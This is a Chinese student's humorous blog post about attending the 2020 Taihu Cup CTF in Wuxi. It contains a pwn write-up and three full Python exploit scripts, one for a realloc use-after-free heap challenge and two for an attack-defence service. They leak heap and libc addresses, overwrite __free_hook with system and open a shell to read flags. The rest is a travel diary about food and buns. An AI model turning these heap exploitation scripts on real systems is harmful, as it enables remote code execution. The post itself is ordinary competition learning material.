26 Nov 2020

太湖杯吃包子大赛

太湖杯吃包子大赛

为了包子!

IMG_20201120_132630

0x00

WCTF 没邀请👴校,所以👴打了太湖杯。

线上做了个白给 Pwn,加入👴的签到题收藏。

realloc 基本操作,很白给。

realloc size 为 0 时 free ptr 然后返回 0,因为返回值为 0,change 直接返回,不经过下面指针重新赋值,可以造成 uaf。

uaf 泄露堆指针,伪造 bin 链,然后用 5 连续 malloc 取出,可以满足 666 条件。

进 666 可以泄露地址同时执行一次 malloc。

利用 uaf 改 fd 打 free_hook 即可。

from pwn import *
#r = process('./pwn',aslr=False)
r = remote('119.3.89.93',8012)
libc = ELF('./libc.so.6')
#context.log_level='debug'
#print(hex(libc.sym['printf']))
def menu(choice):
	r.recvuntil('choice:\n')
	r.sendline(str(choice))

def add(index,size,content):
	menu(1)
	r.recvuntil('index:')
	r.sendline(str(index))
	r.recvuntil('size:')
	r.sendline(str(size))
	r.recvuntil('content:')
	r.sendline(content)

def change(index,size,content):
	menu(2)
	r.recvuntil('index:')
	r.sendline(str(index))
	r.recvuntil('size:')
	r.sendline(str(size))
	r.recvuntil('content:')
	r.sendline(content)

def change_fuck(index):#uaf
	menu(2)
	r.recvuntil('index:')
	r.sendline(str(index))
	r.recvuntil('size:')
	r.sendline('0')



def remove(index):
	menu(3)
	r.recvuntil('index:')
	r.sendline(str(index))

def show(index):
	menu(4)
	r.recvuntil('index:')
	r.sendline(str(index))

def callfor():
	menu(5)

def gift():
	menu(666)

add(0,0x58,'fuck')
add(1,0x58,'fuck')
add(2,0x58,'fuck')
add(3,0x58,'fuck')
add(4,0x58,'fuck')
add(5,0x58,'fuck')
add(6,0x58,'fuck')
add(7,0x58,'fuck')
add(8,0x58,'fuck')
add(9,0x10,'fuck')
add(10,0x10,'fuck')

add(11,0x58,'fuck')
add(12,0x58,'fuck')
add(13,0x58,'fuck')
add(14,0x58,'fuck')
add(15,0x58,'fuck')
add(16,0x58,'fuck')
add(17,0x58,'fuck')

change_fuck(0)
change_fuck(1)
change_fuck(2)
change_fuck(3)
change_fuck(4)
change_fuck(5)
change_fuck(6)
change_fuck(7)
change_fuck(8)

show(1)
r.recvuntil('content: ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
heap_base = leak-0x280

gift_addr = heap_base+0x260

log.success(hex(heap_base))

change(7,0x58,p64(gift_addr-0x10))
callfor()
remove(11)
remove(12)
remove(13)
remove(14)
remove(15)
remove(16)
callfor()

gift()

r.recvuntil('there is a gift: ')
leak = int(r.recvuntil('\n',drop=True),16)
libc_base = leak-0x264140
#libc_base=0x155555321000
log.success(hex(leak))

log.success(hex(libc_base))

r.sendline('123')


print(hex(libc.sym['__free_hook']))
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
add(18,0x50,'fuck')
add(19,0x50,'/bin/sh')
change_fuck(18)
change(18,0x50,p64(free_hook))

gift()
r.sendline(p64(system))
gift()
r.sendline(p64(system))
free(19)
r.interactive()

同样是 realloc 利用,👴觉得湖湘杯的 only_add 比这个有意思。

线上赛和省赛报道是同一天,建议围观三万👴的博客《醉饮九回潇洒去,万军从中取首级——2020省赛之旅》

0x01 所以👴就来到了无锡

25 队线下,所以👴就来到了无锡。

进招待所之后,先让小黄鸭歇着

9

这招待所真不戳。

食堂,彳亍!👴继续贯彻落实去年湖湘杯“吃,用大盘吃,吃三盘”的策略,万万没想到 housebuilding 比👴还能吃。👴和 housebuilding 在口乞方面达成了共识,但是👴🚪在彳亍方面出现了分歧,👴和 7k👴、陈延毕都觉得彳亍的,housebuilding 觉得⑧彳亍。

食堂的面条不如去年湖湘杯的,那牛肉太带了,这边的面条就是清汤面,👴加丶辣椒炒牛肉的牛肉,约等于去年湖湘杯的牛肉面。

说到湖湘杯👴突然有了灵感,👴宣布,👴把 2019 湖湘杯牛肉面命名为:李⚽牛肉面

0x02 7k👴!永远的神!

常规 awd,开倒车,技术支持不是北京易霖博信息技术有限公司,彳亍。

2 pwn,2 web,开局拖题,监控 flag,发现给了流量,不做了,睡大觉。没过多长时间 pwn2 被☀了,这题看着不像 awd,像 koh。这波把 koh 的题放到 awd,比去年湖湘杯把 awd 题目放到 koh 不知道高到哪里去了。

👴不会修,👴是垃圾,只能照着流量☀。

Pwn1 也很快被☀了,直接照着流量写 exp,👴龙鸣了,交互写的有问题,改了半天,但还是在吃饭之前整完了,☀全场。

后来发现有的队伍把格式化字符串🐏了,翻流量又翻出来个不用格式化字符串的 exp。

两个 exp:

def exp(ip, port):
    try:
        r = remote(ip,9999)
        def menu(c):
            r.recvuntil('Choice>> ')
            r.sendline(str(c))
        def add(index,size,note):
            menu(1)
            r.recvuntil('Index: ')
            r.sendline(str(index))
            r.recvuntil('Size: ')
            r.sendline(str(size))
            r.recvuntil('Note: ')
            r.sendline(note)
        def show(index):
            menu(2)
            r.recvuntil('Index: ')
            r.sendline(str(index))
        def delete(index):
            menu(3)
            r.recvuntil('Index: ')
            r.sendline(str(index))
        def edit(index,note):
            menu(4)
            r.recvuntil('Index: ')
            r.sendline(str(index))
            r.recvuntil('Note: ')
            
            r.send(note)


        add(0,256,'%11$p')
        show(0)

        leak = int(r.recvline().strip(),16)
        log.success(hex(leak))
        libc_base = leak-0x1f0fc8
        log.success(hex(libc_base))
        one = libc_base+0x10a41c
        free_hook = libc_base+0x1eeb28
        system = libc_base+0x55410
        add(10,3760,'/bin/sh')
        add(2,16,'test2')

        edit(2,'A'*16)
        delete(2)
        add(3,256,'f84040000000000041414141414141414141414141414141414141414141414141414141414141'.decode('hex'))
        add(4,1717965040,p64(free_hook)*5)
        edit(0,p64(system)*2)
        log.success(hex(free_hook))
        show(10)
        r.recvuntil('Choice>> ')
        r.sendline('5')
        r.sendline('echo wsnd;cat flag')
        #r.interactive()
        r.recvuntil('wsnd\n')
        flag = r.recvline()
        log.success(flag)
        return flag
    except:
        pass

def exp2(ip, port):
    try:
        r = remote(ip,9999)

        def menu(c):
            r.recvuntil('Choice>> ')
            r.sendline(str(c))
        def add(index,size,note):
            menu(1)
            r.recvuntil('Index: ')
            r.sendline(str(index))
            r.recvuntil('Size: ')
            r.sendline(str(size))
            r.recvuntil('Note: ')
            r.sendline(note)
        def fuck_add(index,size,note):
            menu(1)
            r.recvuntil('Index: ')
            r.sendline(str(index))
            r.recvuntil('Size: ')
            r.sendline(str(size))
            r.recvuntil('Note: ')
            r.send(note)
            
        def show(index):
            menu(2)
            r.recvuntil('Index: ')
            r.sendline(str(index))
        def delete(index):
            menu(3)
            r.recvuntil('Index: ')
            r.sendline(str(index))
        def edit(index,note):
            menu(4)
            r.recvuntil('Index: ')
            r.sendline(str(index))
            r.recvuntil('Note: ')
            
            r.send(note)

        add(0,1536,'0')
        add(1,1952,'1')
        add(4,240,'4')
        fuck_add(5,128,'3535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535'.decode('hex'))
        payload = '6262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262'.decode('hex')
        fuck_add(6,80,payload)
        delete(1)
        delete(4)
        delete(5)
        delete(6)
        payload = '414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141416405000000000000000041400000000000f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f20a'.decode('hex')
        fuck_add(3,512,payload)
        payload = '0000000000000000000000000000000048404000000000000a'.decode('hex')

        fuck_add(7,1717964608,payload)
        show(0)
        leak = u64(r.recvuntil('\n',True).ljust(8,'\x00'))
        log.success(hex(leak))
        libc_base = leak-0x9ec90
        log.success(hex(libc_base))
        one = libc_base+0x10a41c
        free_hook = libc_base+0x1eeb28
        system = libc_base+0x55410
        edit(0,p64(system)*2)
        r.recvuntil('Choice>> ')
        r.sendline('/bin/sh')

        r.sendline('echo wsnd;cat flag')
        r.recvuntil('wsnd\n')
        flag = r.recvline()
        log.success(flag)
        return flag
    except:
        pass

👴还是不会修,👴一修就宕机,但是👴能保证宕机和被☀不会同时发生。

housebuilding patch 出了带失误,文件传不上去,导致有一轮宕机和被☀同时发生,他让 7k👴不再孤单。

web1 被☀且宕机,直到最后一小时才解决宕机问题,和前面队伍分差太带,👴直接提前称霸茶歇区。

11

最后一个小时平台开始炸了,差丶致敬北京易霖博信息技术有限公司。有一次暂停,那轮没 check,一看榜宕机队全防住了。但是伏笔不大,1-7队分差都特别大,一轮 check 没啥影响。北京易霖博信息技术有限公司就不一样了,他🐎的这群 jb 不会 check。

最后👴第七,差丶因为吃了小汉堡被 SUS 淦成老⑧,差①三万,第七名和第二十五名有🔨区别。隔壁人上人比赛也是第七名,刚好一等奖,第七名和第一名有🔨区别。

这是👴打过的体验比较好的比赛,感谢南航的各位带佬。

如果能喜提三等奖就更好了,可惜👴是🌶🐓。

0x03 面🐓

1p0ch👴 找👴面🐓,👴正在外面🏃‍体育课打卡,只能等夜里面🐓,所以就突然下了带雨,👴配速三分钟跑回招待所。

👴💊洗澡,此时👴突然想起来👴还带了塑胶小黄鸭

4

所以

5

这时候⑧能面🐓,面🐓建议🤺

7

6

👴穿上衣服带着小黄鸭就过去了,1p0ch👴 说 N 神想看👴的 b 脸就拿手机拍了一张,👴大意了,没拍他一张。

然后和 N 神云面🐓,👴没报湖湘杯,网鼎又弃赛,痛失 N 神。

看了一波 N 神写的今年的湖湘杯,李⚽不再说水军了,👴青结。

👴听说 Lj3jsjljijej 也去湖湘杯,血亏,214⑧能胜利会师梦回高考。

0x04 👴🐋应该有更多的女同学

👴和三万👴说,Asuri 有女同学,而👴🐋以后可能连男同学都没了,这可能就是贵校和南航之间的差别⑧,为之奈何(那咋办🐎)。

三万👴让👴好好想想为啥👴没有女朋友,👴把他批判一番,想的还是⑧够深,👴🚪应该批判一番贵校,而不是考虑👴没有女朋友的问题。

希望 21 级能有更多的女同学。

0x05 贵校是坠吼的带学

贵校给👴的报销到了,贵校是坠吼的带学

0x06 为了包子

贵🐋是非常重视口乞的,因为人活着就得吃,不吃就会饿死,所以👴🚪19 号夜里在招待所就开始研究吃什么。housebuilding 查了一波无锡有什么吃的,小笼包,彳亍。👴对无锡的印象就是包子,因为👴远古时期吃过一次,一个在阿姆斯特丹的无锡人做的,给👴 👴👴送了一些,👴记不太清楚了,👴只记得他们给👴说是无锡包子,👴吃了挺多,有丶甜。

夜里没有小笼包外卖,所以👴🚪吃了烧烤,喝了丶奶茶。

20 号下午没吃饱,夜里点外卖,housebuilding 又查了一波包子,还是没有,所以👴🚪吃了炸🐓。

21 号旅游,直接睡到中午,早上白给,没在招待所吃早饭血亏。housebuilding 一顿操作,带着👴🚪去三凤酒家,打烊了,又去王兴记吃小笼包,有丶坑外地人的感觉,⑧吃,所以👴🚪吃了丶烤肉。

下午瞎逛,准备吃饭,7k👴说肯德基 ⑧坑外地人(断句很重要所以👴加了空格),所以👴🚪就去肯德基坐着。

👴想起了包子,👴🚪还没吃包子,👴🚪必吃包子。

👴寻思👴得找个本地人问问,本地人吃包子都去哪吃。👴让他们在肯德🐓等着,出去转了一波,发现有个小卖部,门口坐了个带👴,问之。

带👴说前面右拐有个店,杨兴记,彳亍。

彳亍!👴🚪吃上了包子。

IMG_20201121_173700

甜口肉包子,吃多了可能有丶腻,👴直接喝了丶醋

包子,彳亍!

8

小混沌也⑧错。

🐓蛋面👴没看懂,先上一碗阳春面,👴说👴🚪要的是🥚面。

”🥚🐎👆就来“

👆了个煎蛋,👴龙鸣了,👴理解成阿姆斯特丹的鸡蛋面了。

吃完 housebuilding 问👴🚪,包子能不能带上✈。👴🚪感觉⑧太彳亍,但是 housebuilding 还是买了⑧个。

”不让带就留在机场⑧“

👴宣布,不可能不让带,如果不让带,👴就当场把这个包子吃掉。

现在👴🚪的头等带事就是把包子带↑✈,让冯老师吃上包子。过安检的时候👴感觉👴🚪跟泰若瑞斯特[ˈterərɪst]一样,👴先过去,housebuilding 在后面,👴听见两个安检带师好像在说包子。

housebuilding 顺利过了安检,这是 housebuilding 的一小步,是包子的一带步,👴🚪看起来就像是太湖杯拿了一等奖恰十万块钱,但是👴觉得十万块钱远不如包子重要,因为👴🚪没有十万。

但是👴™也没女朋友啊👴为啥会觉得包子重要?

housebuilding 检查了一波包子,有的漏了汤,但是问题不带。

👴带着小黄鸭,housebuilding 带着包子,起飞,回贵校。

10

贵市最近降温,夜里又下雨,但是👴想到 housebuilding 和包子👴就⑧觉得冷了。天冷,彳亍;人冷,彳亍;包子凉了,⑧彳亍。👴🚪想了几个加热方案,用贵室的微波炉、用贵舍的开水。

housebuilding 有伞⑧打,雨中回消息,👴泪目。

包子是怎么送到冯老师手上的,👴⑧知道,👴回了宿舍,⑧在现场,👴只拿到了一张包子的照片。

3

应该是用贵舍的开水水浴加热,冯老师吃到了 housebuilding 从签到那天就开始念叨的包子,👴泪目。

13

这就是爱情⑧

建议 包子 加入贵🐋第一课中

因为天冷,彳亍;人冷,彳亍,第二天在贵室诞生了世界名画《7k👴觉得冷》,此处略去,不说。

0x07

和太湖杯没关系但是👴顺手挂到这了

👴11.25 去贵院团委述职,👴 ppt 实在没啥写了就把👴🚪的浮生日记写上去了

12

然后团委老师建议👴把这些发到贵院官媒上

👴傻了

但是按照贵院坠新的素质测评办法,👴浮生日记水十篇约等于 SCI 一作,👴赚了

《赚了》


Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).